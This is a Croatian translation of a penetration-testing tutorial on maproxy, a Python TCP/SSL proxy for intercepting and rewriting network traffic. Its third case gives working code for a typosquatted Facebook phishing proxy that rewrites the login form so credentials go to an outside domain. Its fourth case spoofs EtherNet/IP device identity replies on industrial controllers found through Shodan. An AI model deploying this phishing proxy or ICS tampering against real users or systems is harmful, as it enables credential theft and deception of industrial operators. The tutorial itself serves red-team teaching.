Prijevod članka pripremljen je uoči početka tečaja .

Sažetak
Različiti oblici procjene sigurnosti, od redovitog testiranja provale i Red Team operacija do hakiranja IoT/ICS uređaja i SCADA, podrazumijevaju rad s binarnim mrežnim protokolima, što u suštini znači presretanje i modifikaciju mrežnih podataka između klijenta i cilja. Sniffing mrežnog prometa nije složen zadatak, s obzirom da imamo alate kao što su Wireshark, Tcpdump ili Scapy, no modifikacija predstavlja zahtjevniji zadatak, jer će nam trebati specifičan sučelje za čitanje podataka, njihovo filtriranje, promjenu u stvarnom vremenu i vraćanje nazad na ciljni host gotovo u stvarnom vremenu. Dodatno, bilo bi idealno kada bi takav alat mogao automatski raditi s više paralelnih veza i imao mogućnost prilagodbe putem skripti.
Jednom sam otkrio alat koji se zove , dokumentacija mi je brzo dala do znanja da maproxy – upravo ono što mi treba. To je prilično jednostavan, svestran i lako prilagodljiv TCP proxy. Testirao sam ovaj alat na nekoliko prilično složenih aplikacija, uključujući ICS uređaje (koji generiraju puno paketa), da vidim može li raditi s mnogo paralelnih veza, i alat se dobro pokazao.
Ovaj članak će vas upoznati s obradom mrežnih podataka u stvarnom vremenu pomoću maproxy.
Pregled
Alat maproxy temelji se na Tornadu – popularnom i naprednom asinkronom mrežnom okviru na Pythonu.
Općenito, može raditi u nekoliko načina:
TCP:TCP– nešifrirane TCP veze;TCP:SSLiSSL:TCP– s jednosmjernim šifriranjem;SSL:SSL– dvostrano šifriranje.
Dostupna je kao biblioteka. Za brzi start možete iskoristiti primjerne datoteke koje prikazuju osnovne :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Slučaj 1 – jednostavni dvosmjerni proxy
Osnovano na tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Po defaultu ProxyServer() prima dva argumenta – mjesto povezivanja i ciljani port. server.listen() prima jedan argument – port za slušanje dolazne veze.
Izvršavanje skripte:
# python tcp2tcp.py Kako bismo proveli test, povezat ćemo se na lokalni SSH poslužitelj putem našeg proxy skripte koji sluša na 2222/tcp portu i povezuje se na standardni port 22/tcp SSH poslužitelja:

Pozdravna poruka ukazuje da je naš primjer skripte uspješno proksirao mrežni promet.
Slučaj 2 – modifikacija podataka
Druga demo skripta logging_proxy.py idealna je za interakciju s mrežnim podacima. komentari u datoteci opisuju metode klase koje možete modificirati kako biste postigli svoj cilj:

Najzanimljivije ovdje je:
on_c2p_done_read– za presretanje podataka na putu od klijenta do poslužitelja;on_p2s_done_read– u suprotnom smjeru.
Pokušajmo promijeniti SSH pozdravnu poruku koju poslužitelj vraća klijentu:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Izvršite skriptu:

Kao što vidite, klijent je bio zavaravan jer je ime SSH poslužitelja promijenjeno u «DumnySSH».

Slučaj 3 – jednostavna phishing web stranica
Postoji beskonačan broj mogućnosti korištenja ovog alata. Ovaj put fokusirajmo se na nešto praktičnije iz područja operacija Red Team. Napravimo imitaciju landing stranice m.facebook.com i iskoristimo prilagođenu domenu s namjernom greškom, na primjer, m.facebok.com. U svrhu demonstracije samo pretpostavimo da je domena registrirana od nas.
Planiramo uspostaviti nešifriranu mrežnu vezu s našim proxy žrtvama i SSL streamom za Facebook poslužitelj (31.13.81.36). Da bi ovaj primjer funkcionirao, potrebno je zamijeniti HTTP header hosta i umetnuti ispravno ime domaćina, a također ćemo isključiti kompresiju odgovora kako bismo olakšali pristup njihovom sadržaju. Na kraju ćemo zamijeniti HTML formu kako bi se vjerodajnice za prijavu slale nama, umjesto Facebook poslužiteljima:
[…]
def on_c2p_done_read(self,data):
# zamijeniti Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# onemogućiti kompresiju
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# djelomična zamjena odgovora
data = data.replace("action=\"/login/\", "action=\"https://redteam.pl/\"")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]Na kraju:

Kao što možete vidjeti, uspješno smo zamijenili izvorni site.
Slučaj 4 – Oštećenje Ethernet/IP
Dugo sam se bavio industrijskim uređajima i softverom (ICS / SCADA), poput programabilnih kontrolera (PLC), modula za ulaz/izlaz, pogona, releja, programskih okruženja za ljestvice i mnogo više. Ovaj slučaj je za one koji vole industrijske stvari. Hakerstvo ovakvih rješenja podrazumijeva aktivnu igru s mrežnim protokolima. U sljedećem primjeru želim pokazati kako možete modificirati mrežni promet ICS/SCADA.
Za to će vam trebati sljedeće:
- Mrežni sniffer, poput Wiresharka;
- Ethernet/IP ili jednostavno SIP uređaj, možete ga pronaći putem usluge Shodan;
- Naš skript je zasnovan na
maproxy.
Prvo, pogledajmo kako izgleda tipičan identifikacijski odgovor iz CIP (Common Industrial Protocol):

Identifikacija uređaja se vrši putem protokola Ethernet/IP, koji je proširena verzija Ethernet protokola za industrijske svrhe, obavija protokole kontrole, poput CIP-a. Namjeravamo izmijeniti istaknuto identifikacijsko ime koje je vidljivo na snimci zaslona «NI-IndComm za Ethernet» uz pomoć našeg proxy-skripta. Mogli bismo ponovo iskoristiti skript logging_proxy.py i slično modificirati metodu klase on_p2s_done_read, budući da želimo da na klijentu bude vidljivo drugo identifikacijsko ime.
Kod:
[…]
def on_p2s_done_read(self,data):
# djelomična zamjena odgovora
# Provjera da li smo dobili poruku List Identity
if data[26:28] == b'x0cx00':
print('Dobiven odgovor, zamjena')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
U suštini, zatražili smo identifikaciju uređaja dvaput, drugi odgovor je originalan, dok je prvi izmijenjen u hodu.
I na kraju
po mom mišljenju maproxy praktičan i jednostavan alat, koji je dodatno napisan u Pythonu, tako da mislim da i vi možete imati koristi od njegove upotrebe. Naravno, postoje složeniji alati za obradu i izmjenu mrežnih podataka, međutim, oni također zahtijevaju više pažnje i obično se kreiraju za specifične scenarije korištenja, na primjer, , ili za slučajeve slične trećem, ili za posljednji slučaj. Kako god, uz pomoć maproxy možete brzo realizirati svoje ideje o presretanju mrežnih podataka, budući da su primjeri skripti vrlo jasni.
Izvor: habr.com
